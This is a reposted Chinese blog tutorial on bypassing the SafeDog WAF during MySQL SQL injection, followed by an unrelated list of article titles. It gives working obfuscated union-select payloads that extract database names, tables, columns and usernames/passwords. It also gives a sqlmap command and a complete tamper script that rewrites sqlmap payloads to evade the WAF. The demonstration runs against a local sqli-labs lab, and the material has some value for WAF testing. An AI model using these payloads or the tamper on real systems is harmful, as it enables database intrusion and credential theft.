从过狗到编写tamper【转载】
原作者:我会啊D
原文出处:https://www.t00ls.net/articles-52894.html
0x0 前言
在sql注入的时候,很可能会碰到各种厂商的waf,bypass之后,以后每次都要手工进行绕过,这样很麻烦。我们可以自己编写一个tamper,这样就达到一个自动化bypass的功能了
0x01 安全狗拦截的点
- and 1
只要and后面接数字,安全狗就会拦截 - order by
order 后面接by,安全狗就会拦截 - USER()
user后面接括号,安全狗就会拦截 - union select union后面接select,安全狗就会拦截
0x02 bypass安全狗
具体过程不说了,贴出payload
1、查询用户
union/*!11440/**/select*/%201,hex(user/**/()),3
2、查询库名
union/*!11440/**/select*/%201,group_concat(schema_name),3 from `information_schema`.schemata --+
3、查询表名
union/*!11440/**/select*/ 1,group_concat(table_name),3 from `information_schema`.tables where table_schema='security' --+
4、查询列名
union/*!11440/**/select*/ 1,group_concat(column_name),3 from `information_schema`.columns where table_name='users' --+
5、查询数据
union/*!11440/**/select*/ 1,group_concat(username,password),3 from `users` --+
0x03 tamper结构
tamper由三大结构组成,如下:
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
Author:J8sec.com
"""
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
pass
PROIORITY
PRIORITY是定义tamper的优先级,如果使用者使用了多个tamper,sqlmap就会根据每个tamper定义PRIORITY的参数等级来优先使用等级较高的tamper,PRIORITY有以下几个参数:
LOWEST = -100
LOWER = -50
LOW = -10
NORMAL = 0
HIGH = 10
HIGHER = 50
HIGHEST = 100
值越高,优先级越高。因为我们这里只是绕过安全狗,随便设置个值就ok。
dependencies
dependencies主要是提示用户,这个tamper支持哪些数据库,具体代码如下:
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
import os
__priority__ = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage("Bypass 安全狗4.0 '%s' 只针对 %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
效果如下图:
DBMS.MYSQL这个参数代表的是Mysql,其他数据库的参数如下:
ACCESS = "Microsoft Access"
DB2 = "IBM DB2"
FIREBIRD = "Firebird"
MAXDB = "SAP MaxDB"
MSSQL = "Microsoft SQL Server"
MYSQL = "MySQL"
ORACLE = "Oracle"
PGSQL = "PostgreSQL"
SQLITE = "SQLite"
SYBASE = "Sybase"
HSQLDB = "HSQLDB"
Tamper
tamper这个函数是tamper最重要的函数,你要实现的功能,全部写在这个函数里
payload这个参数就是sqlmap的原始注入payload,我们要实现绕过,一般就是针对这个payload的修改。kwargs是针对http头部的修改,如果你bypass,是通过修改http头,就需要用到这个
0x04 编写tamper
环境
攻击机:windows 10 安装有sqlmap,burpsuite
靶机:windows 7 安装有sqli-labs注入环境,安全狗4.0 ip:
思路
我们利用Burpsuite来抓sqlmap的包,然后一步步进行绕过
编写过程
sqlmap敲如下命令:
sqlmap.py -u http://192.168.1.120/sql/Less-1/?id=1 --proxy="http://127.0.0.1:8080" --random-agent
这里解释下为什么要加--random-agent这个参数,因为安全狗看到sqlmap默认的agent头会拦截,所以我们得加这个随即头参数来进行绕过
1、识别注入
抓到的sqlmap包如图:
安全狗默认不会拦截,sqlmap就会判断可能存在注入
继续抓包
被安全狗拦截了,前面说了,安全狗拦截and 加数字,现在我们开始编写tamper
def tamper(payload, **kwargs):
payload=payload.replace('AND','/*!11440AND*/')
把and替换成我们前面bypass的payload,就不会拦截了。后面的order by,user(),union select同理,这里我就不一一介绍了,只讲下SESSION_USER()
2、识别数据库类型
绕过了and之后,sqlmap会识别数据库类型
虽然我们绕过了user()这个函数,安全狗还是进行了拦截,经过测试,发现安全狗拦截了SESSION_USER(),本来是想把SESSION_USER按照USER()进行绕过,也就是 hex(SESSION_user/**/()),发现会报错,如图:
因为安全狗拦截函数是拦截名称和括号之间,既然名称那饶不了,我们就在括号里做文章。最后经过测试,payload为:hex(SESSION_USER(-- B%0a))
3、注入
因为后面payload大同小异,我们只要把sqlmap原始的UNION ALL SELECT替换成union/!11440//就好了
成品
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
Author:J8sec.com
"""
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
import os
__priority__ = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage("Bypass 安全狗4.0 '%s' 只针对 %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
def tamper(payload, **kwargs):
payload=payload.replace('AND','/*!11440AND*/')
payload=payload.replace('ORDER','/*!11440order*/')
payload=payload.replace('USER())','hex(user/**/()))')
payload=payload.replace('SESSION_USER()','hex(SESSION_USER(-- B%0a))')
payload=payload.replace('UNION ALL SELECT','union/*!11440/**/select*/')
return payload
最后效果如图:
原文地址:https://www.cnblogs.com/-mo-/p/11677524.html
- 「微信小程序」剖析(四):原生的实时DOM转Virtual DOM
- 让你的「微信小程序」运行在Chrome浏览器上,让我们使用WebStorm
- android上拉下拉加载更多数据
- 「微信小程序」剖析(二):框架原理 | 在桌面浏览器上运行的尝试
- Working with Windows Workflow Foundation in ASP.NET
- 微信小程序剖析【下】:运行机制
- android多屏幕分辨率适配
- 一步一步创建ASP.NET MVC5程序[Repository+Autofac+Automapper+SqlSugar](二)
- 怎么解决web service circular reference 问题
- android使用LruCache对listview加载图片时候优化处理
- 如何创建一个兼容「微信小程序」的Web框架:WIN
- RePractise前端篇: 前端演进史
- Git远程库版本回滚
- android 之ndk开发
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- C++ 万字长文第一篇---拿下字节面试
- 家国梦自动收取金币、货物、升级建筑、拆相册等脚本
- matplotlib 设置移动边框
- 发布你的第一个nodejs c++插件
- nodejs多线程的探索和实践
- 3分钟短文 | Laravel 检验关联模型是否存在的2个必知必会方法
- python读取ini配置的类封装
- ESP32蓝牙的Gatt Client的例子演练
- 3分钟短文 | Laravel SQL筛选两个日期之间的记录,怎么写?
- 3分钟短文 | Laravel 内3种数据校验的写法,你喜欢哪一个?
- 纯JavaScript实现的MQTT智能门锁
- 3分钟短文 | Laravel 灵活地获取当前请求的路由地址
- 云原生安全 | docker容器逃逸
- 字节数组X中存放着 0~F共16个十六进制数,请将这些数以十六进制形式显示在屏幕上。
- ubuntu 16安装asp.net